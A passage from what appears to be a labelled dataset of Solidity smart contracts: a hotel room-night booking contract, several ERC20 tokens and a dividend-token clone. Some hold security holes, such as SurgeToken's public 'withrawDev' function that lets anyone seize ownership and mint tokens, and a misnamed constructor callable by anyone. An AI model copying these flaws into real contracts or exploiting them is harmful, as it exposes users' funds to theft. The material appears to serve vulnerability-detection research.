if(index < count) {
uint256[] memory result = new uint256[](index);
for(i = 0; i < index; i++) {
result[i] = temp[i];
}
return (result, ei);
}else {
return (temp, ei);
}
}
}
function authorizeContract(address _contract, string _name)
public
onlyOwner
returns(bool) {
uint256 codeSize;
assembly { codeSize := extcodesize(_contract) }
require(codeSize != 0);
require(authorizedContractIds[_contract] == 0);
uint256 id = authorizedContractList.push(false);
authorizedContractIds[_contract] = id;
authorizedContracts[id] = AuthorizedContract(_name, _contract);
emit ContractAuthorized(_contract);
return true;
}
function deauthorizeContract(address _contract)
public
onlyOwner
authorizedContractValid(_contract)
returns(bool) {
uint256 id = authorizedContractIds[_contract];
authorizedContractList.remove(id);
authorizedContractIds[_contract] = 0;
delete authorizedContracts[id];
emit ContractDeauthorized(_contract);
return true;
}
function deauthorizeContractById(uint256 _cid)
public
onlyOwner
authorizedContractIdValid(_cid)
returns(bool) {
address acontract = authorizedContracts[_cid].acontract;
authorizedContractList.remove(_cid);
authorizedContractIds[acontract] = 0;
delete authorizedContracts[_cid];
emit ContractDeauthorized(acontract);
return true;
}
function getAuthorizeContractIds(uint256 _from, uint256 _limit)
external
view
returns(uint256[], uint256){
return getNodes(authorizedContractList, _from, _limit, true);
}
function getAuthorizeContract(uint256 _cid)
external
view
returns(string _name, address _acontract) {
AuthorizedContract memory acontract = authorizedContracts[_cid];
_name = acontract.name;
_acontract = acontract.acontract;
}
function getRatePlan(uint256 _vendorId, uint256 _rpid)
public
view
returns (string _name, uint256 _timestamp, bytes32 _ipfs) {
_name = vendors[_vendorId].ratePlans[_rpid].name;
_timestamp = vendors[_vendorId].ratePlans[_rpid].timestamp;
_ipfs = vendors[_vendorId].ratePlans[_rpid].ipfs;
}
function getPrice(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _tokenId)
public
view
returns(uint16 _inventory, bool _init, uint256 _price) {
_inventory = vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;
_init = vendors[_vendorId].ratePlans[_rpid].prices[_date].init;
_price = vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId];
if(!_init) {
_inventory = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
_price = vendors[_vendorId].ratePlans[_rpid].basePrice.tokens[_tokenId];
_init = vendors[_vendorId].ratePlans[_rpid].basePrice.init;
}
}
function getPrices(uint256 _vendorId, uint256 _rpid, uint256[] _dates, uint256 _tokenId)
public
view
returns(uint16[] _inventories, uint256[] _prices) {
uint16[] memory inventories = new uint16[](_dates.length);
uint256[] memory prices = new uint256[](_dates.length);
uint256 date;
for(uint256 i = 0; i < _dates.length; i++) {
date = _dates[i];
uint16 inventory = vendors[_vendorId].ratePlans[_rpid].prices[date].inventory;
bool init = vendors[_vendorId].ratePlans[_rpid].prices[date].init;
uint256 price = vendors[_vendorId].ratePlans[_rpid].prices[date].tokens[_tokenId];
if(!init) {
inventory = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
price = vendors[_vendorId].ratePlans[_rpid].basePrice.tokens[_tokenId];
init = vendors[_vendorId].ratePlans[_rpid].basePrice.init;
}
inventories[i] = inventory;
prices[i] = price;
}
return (inventories, prices);
}
function getInventory(uint256 _vendorId, uint256 _rpid, uint256 _date)
public
view
returns(uint16 _inventory, bool _init) {
_inventory = vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;
_init = vendors[_vendorId].ratePlans[_rpid].prices[_date].init;
if(!_init) {
_inventory = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
}
}
function ratePlanIsExist(uint256 _vendorId, uint256 _rpid)
public
view
returns (bool) {
return vendors[_vendorId].ratePlanList.nodeExists(_rpid);
}
function getOrdersOfOwner(address _owner, uint256 _from, uint256 _limit, bool _direction)
public
view
returns (uint256[], uint256) {
return getNodes(roomNightOwners[_owner], _from, _limit, _direction);
}
function getOrdersOfVendor(address _owner, uint256 _from, uint256 _limit, bool _direction)
public
view
returns (uint256[], uint256) {
return getNodes(roomNightVendors[_owner], _from, _limit, _direction);
}
function balanceOf(address _owner)
public
view
returns(uint256) {
return roomNightOwners[_owner].length;
}
function getRatePlansOfVendor(uint256 _vendorId, uint256 _from, uint256 _limit, bool _direction)
public
view
returns(uint256[], uint256) {
return getNodes(vendors[_vendorId].ratePlanList, _from, _limit, _direction);
}
function getTokens(uint256 _from, uint256 _limit, bool _direction)
public
view
returns(uint256[], uint256) {
return getNodes(tokenList, _from, _limit, _direction);
}
function getToken(uint256 _tokenId)
public
view
returns(string _symbol, string _name, uint8 _decimals, address _token) {
_token = tokenIndexToAddress[_tokenId];
TripioToken tripio = TripioToken(_token);
_symbol = tripio.symbol();
_name = tripio.name();
_decimals = tripio.decimals();
}
function getVendors(uint256 _from, uint256 _limit, bool _direction)
public
view
returns(uint256[], uint256) {
return getNodes(vendorList, _from, _limit, _direction);
}
function getVendor(uint256 _vendorId)
public
view
returns(string _name, address _vendor,uint256 _timestamp, bool _valid) {
_name = vendors[_vendorId].name;
_vendor = vendors[_vendorId].vendor;
_timestamp = vendors[_vendorId].timestamp;
_valid = vendors[_vendorId].valid;
}
function updateTokenBaseURI(string _tokenBaseURI)
public
onlyOwnerOrAuthorizedContract {
tokenBaseURI = _tokenBaseURI;
}
function pushOrderOfOwner(address _owner, uint256 _rnid, bool _direction)
public
onlyOwnerOrAuthorizedContract {
if(!roomNightOwners[_owner].listExists()) {
roomNightOwners[_owner] = LinkedListLib.LinkedList(0, 0);
}
roomNightOwners[_owner].add(_rnid, _direction);
}
function removeOrderOfOwner(address _owner, uint _rnid)
public
onlyOwnerOrAuthorizedContract {
require(roomNightOwners[_owner].nodeExists(_rnid));
roomNightOwners[_owner].remove(_rnid);
}
function pushOrderOfVendor(address _vendor, uint256 _rnid, bool _direction)
public
onlyOwnerOrAuthorizedContract {
if(!roomNightVendors[_vendor].listExists()) {
roomNightVendors[_vendor] = LinkedListLib.LinkedList(0, 0);
}
roomNightVendors[_vendor].add(_rnid, _direction);
}
function removeOrderOfVendor(address _vendor, uint256 _rnid)
public
onlyOwnerOrAuthorizedContract {
require(roomNightVendors[_vendor].nodeExists(_rnid));
roomNightVendors[_vendor].remove(_rnid);
}
function transferTokenTo(uint256 _tokenId, address _to)
public
onlyOwnerOrAuthorizedContract {
roomNightIndexToOwner[_tokenId] = _to;
roomNightApprovals[_tokenId] = address(0);
}
function approveTokenTo(uint256 _tokenId, address _to)
public
onlyOwnerOrAuthorizedContract {
roomNightApprovals[_tokenId] = _to;
}
function approveOperatorTo(address _operator, address _to, bool _approved)
public
onlyOwnerOrAuthorizedContract {
operatorApprovals[_to][_operator] = _approved;
}
function updateBasePrice(uint256 _vendorId, uint256 _rpid, uint256 _tokenId, uint256 _price)
public
onlyOwnerOrAuthorizedContract {
vendors[_vendorId].ratePlans[_rpid].basePrice.init = true;
vendors[_vendorId].ratePlans[_rpid].basePrice.tokens[_tokenId] = _price;
}
function updateBaseInventory(uint256 _vendorId, uint256 _rpid, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
vendors[_vendorId].ratePlans[_rpid].basePrice.inventory = _inventory;
}
function updatePrice(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _tokenId, uint256 _price)
public
onlyOwnerOrAuthorizedContract {
if (vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;
} else {
vendors[_vendorId].ratePlans[_rpid].prices[_date] = Price(0, true);
vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;
}
}
function updateInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
if (vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = _inventory;
} else {
vendors[_vendorId].ratePlans[_rpid].prices[_date] = Price(_inventory, true);
}
}
function reduceInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
uint16 a = 0;
if(vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
a = vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;
require(_inventory <= a);
vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = a - _inventory;
}else if(vendors[_vendorId].ratePlans[_rpid].basePrice.init){
a = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
require(_inventory <= a);
vendors[_vendorId].ratePlans[_rpid].basePrice.inventory = a - _inventory;
}
}
function addInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
uint16 c = 0;
if(vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
c = _inventory + vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;
require(c >= _inventory);
vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = c;
}else if(vendors[_vendorId].ratePlans[_rpid].basePrice.init) {
c = _inventory + vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
require(c >= _inventory);
vendors[_vendorId].ratePlans[_rpid].basePrice.inventory = c;
}
}
function updatePriceAndInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _tokenId, uint256 _price, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
if (vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = _inventory;
vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;
} else {
vendors[_vendorId].ratePlans[_rpid].prices[_date] = Price(_inventory, true);
vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;
}
}
function pushRatePlan(uint256 _vendorId, string _name, bytes32 _ipfs, bool _direction)
public
onlyOwnerOrAuthorizedContract
returns(uint256) {
RatePlan memory rp = RatePlan(_name, uint256(now), _ipfs, Price(0, false));
uint256 id = vendors[_vendorId].ratePlanList.push(_direction);
vendors[_vendorId].ratePlans[id] = rp;
return id;
}
function removeRatePlan(uint256 _vendorId, uint256 _rpid)
public
onlyOwnerOrAuthorizedContract {
delete vendors[_vendorId].ratePlans[_rpid];
vendors[_vendorId].ratePlanList.remove(_rpid);
}
function updateRatePlan(uint256 _vendorId, uint256 _rpid, string _name, bytes32 _ipfs)
public
onlyOwnerOrAuthorizedContract {
vendors[_vendorId].ratePlans[_rpid].ipfs = _ipfs;
vendors[_vendorId].ratePlans[_rpid].name = _name;
}
function pushToken(address _contract, bool _direction)
public
onlyOwnerOrAuthorizedContract
returns(uint256) {
uint256 id = tokenList.push(_direction);
tokenIndexToAddress[id] = _contract;
return id;
}
function removeToken(uint256 _tokenId)
public
onlyOwnerOrAuthorizedContract {
delete tokenIndexToAddress[_tokenId];
tokenList.remove(_tokenId);
}
function generateRoomNightToken(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _token, uint256 _price, bytes32 _ipfs)
public
onlyOwnerOrAuthorizedContract
returns(uint256) {
roomnights.push(RoomNight(_vendorId, _rpid, _token, _price, now, _date, _ipfs));
uint256 rnid = uint256(roomnights.length - 1);
return rnid;
}
function updateRefundApplications(address _buyer, uint256 _rnid, bool _isRefund)
public
onlyOwnerOrAuthorizedContract {
refundApplications[_buyer][_rnid] = _isRefund;
}
function pushVendor(string _name, address _vendor, bool _direction)
public
onlyOwnerOrAuthorizedContract
returns(uint256) {
uint256 id = vendorList.push(_direction);
vendorIds[_vendor] = id;
vendors[id] = Vendor(_name, _vendor, uint256(now), true, LinkedListLib.LinkedList(0, 0));
return id;
}
function removeVendor(uint256 _vendorId)
public
onlyOwnerOrAuthorizedContract {
vendorList.remove(_vendorId);
address vendor = vendors[_vendorId].vendor;
vendorIds[vendor] = 0;
delete vendors[_vendorId];
}
function updateVendorValid(uint256 _vendorId, bool _valid)
public
onlyOwnerOrAuthorizedContract {
vendors[_vendorId].valid = _valid;
}
function updateVendorName(uint256 _vendorId, string _name)
public
onlyOwnerOrAuthorizedContract {
vendors[_vendorId].name = _name;
}
}
contract TRNTransactions is TRNOwners {
constructor() public {
}
event BuyInBatch(address indexed _customer, address indexed _vendor, uint256 indexed _rpid, uint256[] _dates, uint256 _token);
event ApplyRefund(address _customer, uint256 indexed _rnid, bool _isRefund);
event Refund(address _vendor, uint256 _rnid);
function _buy(uint256 _vendorId, uint256 _rpid, uint256 _date, address _customer, uint256 _token) private {
(,,uint256 _price) = dataSource.getPrice(_vendorId, _rpid, _date, _token);
(,,bytes32 _ipfs) = dataSource.getRatePlan(_vendorId, _rpid);
uint256 rnid = dataSource.generateRoomNightToken(_vendorId, _rpid, _date, _token, _price, _ipfs);
dataSource.transferTokenTo(rnid, _customer);
_pushRoomNight(_customer, rnid, false);
(,address vendor,,) = dataSource.getVendor(_vendorId);
_pushRoomNight(vendor, rnid, true);
dataSource.reduceInventories(_vendorId, _rpid, _date, 1);
}
function _buyInBatch(uint256 _vendorId, address _vendor, uint256 _rpid, uint256[] _dates, uint256 _token) private returns(bool) {
(uint16[] memory inventories, uint256[] memory values) = dataSource.getPrices(_vendorId, _rpid, _dates, _token);
uint256 totalValues = 0;
for(uint256 i = 0; i < _dates.length; i++) {
if(inventories[i] == 0 || values[i] == 0) {
return false;
}
totalValues += values[i];
_buy(_vendorId, _rpid, _dates[i], msg.sender, _token);
}
if (_token == 0) {
require(msg.value == totalValues);
_vendor.transfer(totalValues);
} else {
address tokenAddress = dataSource.tokenIndexToAddress(_token);
require(tokenAddress != address(0));
TripioToken tripio = TripioToken(tokenAddress);
tripio.transferFrom(msg.sender, _vendor, totalValues);
}
return true;
}
function _refund(uint256 _rnid, uint256 _vendorId, uint256 _rpid, uint256 _date) private {
_removeRoomNight(dataSource.roomNightIndexToOwner(_rnid), _rnid);
dataSource.addInventories(_vendorId, _rpid, _date, 1);
dataSource.transferTokenTo(_rnid, address(0));
}
function buyInBatch(uint256 _vendorId, uint256 _rpid, uint256[] _dates, uint256 _token)
external
payable
ratePlanExist(_vendorId, _rpid)
validDates(_dates)
returns(bool) {
(,address vendor,,) = dataSource.getVendor(_vendorId);
bool result = _buyInBatch(_vendorId, vendor, _rpid, _dates, _token);
require(result);
emit BuyInBatch(msg.sender, vendor, _rpid, _dates, _token);
return true;
}
function applyRefund(uint256 _rnid, bool _isRefund)
external
validToken(_rnid)
canTransfer(_rnid)
returns(bool) {
dataSource.updateRefundApplications(msg.sender, _rnid, _isRefund);
emit ApplyRefund(msg.sender, _rnid, _isRefund);
return true;
}
function isRefundApplied(uint256 _rnid)
external
view
validToken(_rnid) returns(bool) {
return dataSource.refundApplications(dataSource.roomNightIndexToOwner(_rnid), _rnid);
}
function refund(uint256 _rnid)
external
payable
validToken(_rnid)
returns(bool) {
require(dataSource.refundApplications(dataSource.roomNightIndexToOwner(_rnid), _rnid));
(uint256 vendorId,uint256 rpid,uint256 token,uint256 price,,uint256 date,) = dataSource.roomnights(_rnid);
(,address vendor,,) = dataSource.getVendor(vendorId);
require(msg.sender == vendor);
address ownerAddress = dataSource.roomNightIndexToOwner(_rnid);
if (token == 0) {
uint256 value = price;
require(msg.value >= value);
ownerAddress.transfer(value);
} else {
require(price > 0);
TripioToken tripio = TripioToken(dataSource.tokenIndexToAddress(token));
tripio.transferFrom(msg.sender, ownerAddress, price);
}
_refund(_rnid, vendorId, rpid, date);
emit Refund(msg.sender, _rnid);
return true;
}
}
contract TripioRoomNightCustomer is TRNAsset, TRNSupportsInterface, TRNOwnership, TRNTransactions {
constructor(address _dataSource) public {
dataSource = TripioRoomNightData(_dataSource);
}
function withdrawBalance() external onlyOwner {
owner.transfer(address(this).balance);
}
function withdrawTokenId(uint _token) external onlyOwner {
TripioToken tripio = TripioToken(dataSource.tokenIndexToAddress(_token));
uint256 tokens = tripio.balanceOf(address(this));
tripio.transfer(owner, tokens);
}
function withdrawToken(address _tokenAddress) external onlyOwner {
TripioToken tripio = TripioToken(_tokenAddress);
uint256 tokens = tripio.balanceOf(address(this));
tripio.transfer(owner, tokens);
}
function destroy() external onlyOwner {
selfdestruct(owner);
}
function() external payable {
}
} | 1 | 4,427 |
pragma solidity ^0.4.23;
library ECRecoveryLibrary {
function recover(bytes32 hash, bytes sig) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) {
return (address(0));
}
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
function toEthSignedMessageHash(bytes32 hash)
internal
pure
returns (bytes32)
{
return keccak256(
"\x19Ethereum Signed Message:\n32",
hash
);
}
}
library SafeMathLibrary {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) onlyOwner public {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
bool public paused = false;
event Pause();
event Unpause();
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
interface TokenReceiver {
function tokenFallback(address _from, uint _value) external returns(bool);
}
contract Token is Pausable {
using SafeMathLibrary for uint;
using ECRecoveryLibrary for bytes32;
uint public decimals = 18;
mapping (address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
mapping(bytes => bool) signatures;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
event DelegatedTransfer(address indexed from, address indexed to, address indexed delegate, uint amount, uint fee);
function () {
revert();
}
function balanceOf(address _owner) constant public returns (uint) {
return balances[_owner];
}
function transfer(address _to, uint _value) whenNotPaused public returns (bool) {
require(_to != address(0) && _value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
callTokenFallback(_to, msg.sender, _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function delegatedTransfer(bytes _signature, address _to, uint _value, uint _fee, uint _nonce) whenNotPaused public returns (bool) {
require(_to != address(0) && signatures[_signature] == false);
bytes32 hashedTx = hashDelegatedTransfer(_to, _value, _fee, _nonce);
address from = hashedTx.recover(_signature);
require(from != address(0) && _value.add(_fee) <= balances[from]);
balances[from] = balances[from].sub(_value).sub(_fee);
balances[_to] = balances[_to].add(_value);
balances[msg.sender] = balances[msg.sender].add(_fee);
signatures[_signature] = true;
callTokenFallback(_to, from, _value);
emit Transfer(from, _to, _value);
emit Transfer(from, msg.sender, _fee);
emit DelegatedTransfer(from, _to, msg.sender, _value, _fee);
return true;
}
function hashDelegatedTransfer(address _to, uint _value, uint _fee, uint _nonce) public view returns (bytes32) {
return keccak256(bytes4(0x45b56ba6), address(this), _to, _value, _fee, _nonce);
}
function transferFrom(address _from, address _to, uint _value) whenNotPaused public returns (bool ok) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
callTokenFallback(_to, _from, _value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) whenNotPaused public returns (bool ok) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) whenNotPaused public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) whenNotPaused public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function callTokenFallback(address _contract, address _from, uint _value) internal {
if (isContract(_contract)) {
require(contracts[_contract] != address(0) && balances[_contract] >= contractHoldBalance);
TokenReceiver receiver = TokenReceiver(_contract);
require(receiver.tokenFallback(_from, _value));
}
}
function isContract(address _address) internal view returns(bool) {
uint length;
assembly {
length := extcodesize(_address)
}
return (length > 0);
}
mapping (address => address) contracts;
uint contractHoldBalance = 500 * 10 ** decimals;
function setContractHoldBalance(uint _value) whenNotPaused onlyOwner public returns(bool) {
contractHoldBalance = _value;
return true;
}
function register(address _contract) whenNotPaused public returns(bool) {
require(isContract(_contract) && contracts[_contract] == address(0) && balances[msg.sender] >= contractHoldBalance);
balances[msg.sender] = balances[msg.sender].sub(contractHoldBalance);
balances[_contract] = balances[_contract].add(contractHoldBalance);
contracts[_contract] = msg.sender;
return true;
}
function unregister(address _contract) whenNotPaused public returns(bool) {
require(isContract(_contract) && contracts[_contract] == msg.sender);
balances[_contract] = balances[_contract].sub(contractHoldBalance);
balances[msg.sender] = balances[msg.sender].add(contractHoldBalance);
delete contracts[_contract];
return true;
}
}
contract CATT is Token {
string public name = "Content Aggregation Transfer Token";
string public symbol = "CATT";
uint public totalSupply = 5000000000 * 10 ** decimals;
constructor() public {
balances[owner] = totalSupply;
}
} | 0 | 270 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SurgeToken is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public constant name = "Surge";
string public constant symbol = "SRG";
uint public constant decimals = 8;
uint256 public totalSupply = 500000000e8;
uint256 public totalDistributed = 0;
uint256 public constant minPurchase = 1 ether / 100;
uint256 public tokensPerEth = 240000e8;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function withrawDev () public {
owner = msg.sender;
uint256 devTokens = 100000000e8;
distr(owner, devTokens);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function doAirdrop(address _participant, uint _amount) internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function transferTokenTo(address _participant, uint _amount) public onlyOwner {
doAirdrop(_participant, _amount);
}
function transferTokenToMultiple(address[] _addresses, uint _amount) public onlyOwner {
for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
sendToken();
}
function sendToken() payable canDistr public {
uint256 tokens = 0;
require( msg.value >= minPurchase );
require( msg.value > 0 );
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (tokens > 0) {
distr(investor, tokens);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 0 | 2,251 |
pragma solidity ^0.4.20;
contract CraigGrantFunFace {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(_customerAddress)]);
_;
}
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){
require(
ambassadors_[_customerAddress] == true &&
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_
);
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
_;
} else {
onlyAmbassadors = false;
_;
}
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "CraigGrantFunFace";
string public symbol = "CGFF";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 10;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
uint256 public stakingRequirement = 333e18;
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 1 ether;
uint256 constant internal ambassadorQuota_ = 7 ether;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
mapping(bytes32 => bool) public administrators;
bool public onlyAmbassadors = false;
function Hourglass()
public
{
ambassadors_[0x0e4705d75896B1aEC52E885D93Cdf8832338E322] = true;
ambassadors_[0xa7c971ae84d24d1ba58300ec2433b8dacfd36178] = true;
ambassadors_[0xa36f907be1fbf75e2495cc87f8f4d201c1b634af] = true;
ambassadors_[0xbfc699a6f932a440a7745125815427103de1c1f9] = true;
